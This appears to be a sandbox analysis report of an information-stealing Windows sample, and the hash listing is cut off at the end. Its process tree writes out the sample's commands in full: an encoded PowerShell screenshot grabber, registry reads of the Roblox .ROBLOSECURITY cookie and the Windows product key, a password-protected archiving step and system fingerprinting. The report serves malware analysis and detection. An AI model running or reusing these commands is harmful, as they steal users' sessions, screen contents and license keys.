    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3284
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ihfcw4gn\ihfcw4gn.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2732
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF1A9.tmp" "c:\Users\Admin\AppData\Local\Temp\ihfcw4gn\CSC36E6A092A71E4AC6B62966A93F71649.TMP"
        6⤵
        
        PID:5328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:240
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2760
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6064
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5312
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2408
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5440
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4632
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6008
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI24682\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Vvlbz.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2572
  - - C:\Users\Admin\AppData\Local\Temp\_MEI24682\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI24682\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\Vvlbz.zip" *
      4⤵
      Executes dropped EXE
      PID:1872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5148
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2508
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5624
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3240
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1392
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:3856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:2688

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1bcb9feef511556b090a30e71021a664527e7ab7fb25b759f956faace8f8926d
MD5 f1012495bc6aad1683ea05ef8b2798b9
SHA1 e1b3bc40041635dcd01be5df47e7fd365c92324c
SHA512 02b3cc89a9007c0120a5115e1958da6c01f216768899038de0b2774321cf49bf306febbce54809989159f6afa8bb90c59f83cf539cd2339da23fa3b85c7757f2
TLSH
T12C216633B3CD8625D899403A40CEAC1037B6D7DB409ECE5BAB84D508B43F589CE601A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 58245b535bb164e85943800b4154e0128260c1a510da112294f1c53edfbfbf07
MD5 47ad9cc420da0514ba1b00c8644623c3
SHA1 ae21313963068b048e67ea7211e2e3b62269795b
SHA512 9aedb22199721ad446e49421651fbdb3e1799bac3d3fae2e8f09644b650ad99fa60b1055e7f5b210d51e587ee1f71ee50c95ba81700a59efeec033da62e9627f
TLSH
T16F216833B3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e56f4a38e0c60f0196c589e1952198368a10927e65ff24d1476ffafc489657f4
MD5 78b9021e0576c01ec958b87ec52832c1
SHA1 76df758d602c2d4cc4a4bfa0f3b435cae1ed3ffa
SHA512 4402163ed9623a392f120417ea0b5049bf0d76b88dd7f4fc70428ef7e76601f25bd534ae916ed9daba859fb6308d6f370712985ccd165f6393dbce7c5c507514
TLSH
T11F216833F3DD8614C89A413A10CDAC1036B6C7DB41DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7e8aa1af06f3f6aaba652cb1a07c717def426e3284f33983ba174a82d5d4ec8b
MD5 dddadaa015f0eb6f6849eb8913659b51
SHA1 192d871f728a797c1db994158cd38ce49c711b92
SHA512 cba1a438cc99ed767e428ca1a58470c5d5e5381aa447e864fc7607b819f9cf8826d2711b6da5d66b721e81737b06bf7b7276740b7b385035ec56c40eba092561
TLSH
T104215733F3CC8624CC9A403650CEAC1036B687DB419ECE6BBB84D154A43F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

RESF1A9.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESF1A9.tmp
Size 1KB
SHA256 83bf4d0b538389aa095767e24d054738a5f0bfd42812475091211320a18b810c
MD5 ac5def29aef922273eef696e74b828cd
SHA1 abbf8a04c548018f4d62560cc6db4864c7dd7f2b
SHA512 ad4e0ea3070a6ece5936204ba210a2a76ece78742d1bf179946002d19303d2b0558bdd90ae6995129aecb0e00a8061d2b4bb8dd154fa2227ff633336ff270ff8
TLSH
T1FF21F00553E9870FF0B74731A9F6172FA664FD94EFE163AA8540022C2C60514EEA0A72
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI24682\VCRUNTIME140.dll
Size 117KB
SHA256 052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4
MD5 32da96115c9d783a0769312c0482a62d
SHA1 2ea840a5faa87a2fe8d7e5cb4367f2418077d66b
SHA512 616c78b4a24761d4640ae2377b873f7779322ef7bc26f8de7da0d880b227c577ed6f5ed794fc733468477b2fcdb7916def250e5dc63e79257616f99768419087
SSDEEP 1536:Z9TXF5YXWbj8qr51XlN+dULTCe1IGhKWyxLiyaXYaNxoecbdhUoaLjTz164zEd:ZEnsvReGsWyxLizXFkecbd1aPTzW
TLSH
T10DC38C8572A002FBD16AC274C1A36A17FB75B94487B0A7CF03B58A650F53BE09E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI24682\VCRUNTIME140_1.dll
Size 48KB
SHA256 6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8
MD5 c0c0b4c611561f94798b62eb43097722
SHA1 523f515eed3af6d50e57a3eaeb906f4ccc1865fe
SHA512 35db454dbcc7ed89842c0440b92ce0b0b0db41dbd5432a36a0b7e1eddf51704b1f0d6cff5e3a3b0c3ff5db3d8632fed000471180ad72e39d8dbe68a757ccdfb0
SSDEEP 768:vzzO6ujT3MbR3v0Cz6Sz5q83ywug1HDV9zxfYbK9z:mq/oMx3hXHDnzxfYiz
TLSH
T1AE236BA453784486D4AB99B0C0DAEE577D7CFA964B10928F0BA0D15C1F637D0EB3D21B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24682\_bz2.pyd
Size 51KB
SHA256 31bbbd635917ffc659a59b22d32fa0943edb0d52c07b1a4db02361e63f5c7f70
MD5 0fc3ed9d21655361de8c5295e2a0cbcd
SHA1 4e4b51b5900678398ba6abe46825f38761d6ff35
SHA512 2fc583ea9f9487bbfac4f2a0471da964e473ab8e3ca64de2ab3c6135c24d6420f727646b6d6381a65cad235cc3f374c7c0189e291a16b9b2305d28f5a2d3d797
SSDEEP 1536:5U3AbrYSflL4ncPAQ7/oZLIG3VYey1Ni9QfIY6utw:aPcL4nc5EIG3VYYKtw
TLSH
T1EA33D0CB83794012E767597161E8DD86FA3A6BD34011879A34DEE29A0F533D06F2332A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24682\_ctypes.pyd
Size 67KB
SHA256 1b1d2ed69e1553c43d211718bf6d22c7c145544bb6f06fc47257f75b6295968b
MD5 22f9993fddc8ebae1e1bd1a0fd9d0362
SHA1 e1ab18aaedc8910f2151511949b0ead3449884a9
SHA512 977b2429bc6a6fd8d408c87e1390b5276a946c804c312af12b6f8041e7ec3156c4b78b640831df65738fa5ac332553e9c454e3a8a52950308baac1d7cc04f9bd
SSDEEP 1536:FGsidR9UsGWPmlmCzZ/wsVW6uyaIj4pfoti7+IGGPPty1Ni9nvfIL3qc:F/IPGW/C1Ys86VUpWiSIGGPPpoGc
TLSH
T1CE63F1CB00F58057EE939D709794E956BB35F7D32A24CE6E30CDE1660E1A7C2A356234
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24682\_hashlib.pyd
Size 38KB
SHA256 c8e4b1192e1d0471dc985b0427001ae63f2a833fe5c44ceee52e6913f10e8b8f
MD5 6ea0bf5fb8de892113b029d276804641
SHA1 1d788e3dec4976ed68e8f04b85c5a02cb005ae73
SHA512 65385015c8b98e6e42a0de794f70fe0e967cf06fb704c0845f575385ae1d74654dd58638004656730553bb28d1728e49d03c358c3832ac7f067932ddd1605761
SSDEEP 768:VFzCaLH2eWtTkvVE9k6p2vlTWrL+OpqVIGDItny1KPuBL2Ip47DTxf1mlIJxpu68:TCHPp2vlTuLoVIGDItny1Ni97BfIkxd8
TLSH
T16003BECA4A3CC053EA63693163F0DD82FE35B3979452477B30E8A1D51E673C09727266
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI24682\_lzma.pyd
Size 88KB
SHA256 eac919e74adf32313ab00ee563c0bff042aadef6418be0b2b16bbfdb1a67add8
MD5 0d0a552efe65ecf282a7676668075b3e
SHA1 803a8bb6f531b3b8448dd2dd2a9c05221a6f1c36
SHA512 1d435c10298d1a9c8d1c49e0e067bdee864770c221c73233fa3238c267a1b1606e1bcf2e0669a30807385be3dd3319f11223767b97341edf82b7f861da9fbaa0
SSDEEP 1536:fbCORtk/GFJL/D1c0VkwjHnOFm9b/uko4J3b4ohwTmZ2ywBIGI1P0y1Ni9efIYCk:mORuGFt/HkG/G4J3b4GwTm8tIGI1Pwk
TLSH
T1AD9302DF97B88063EEB32D3052F6C6427934A7EB512596A724DF71920E233C4A393225
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

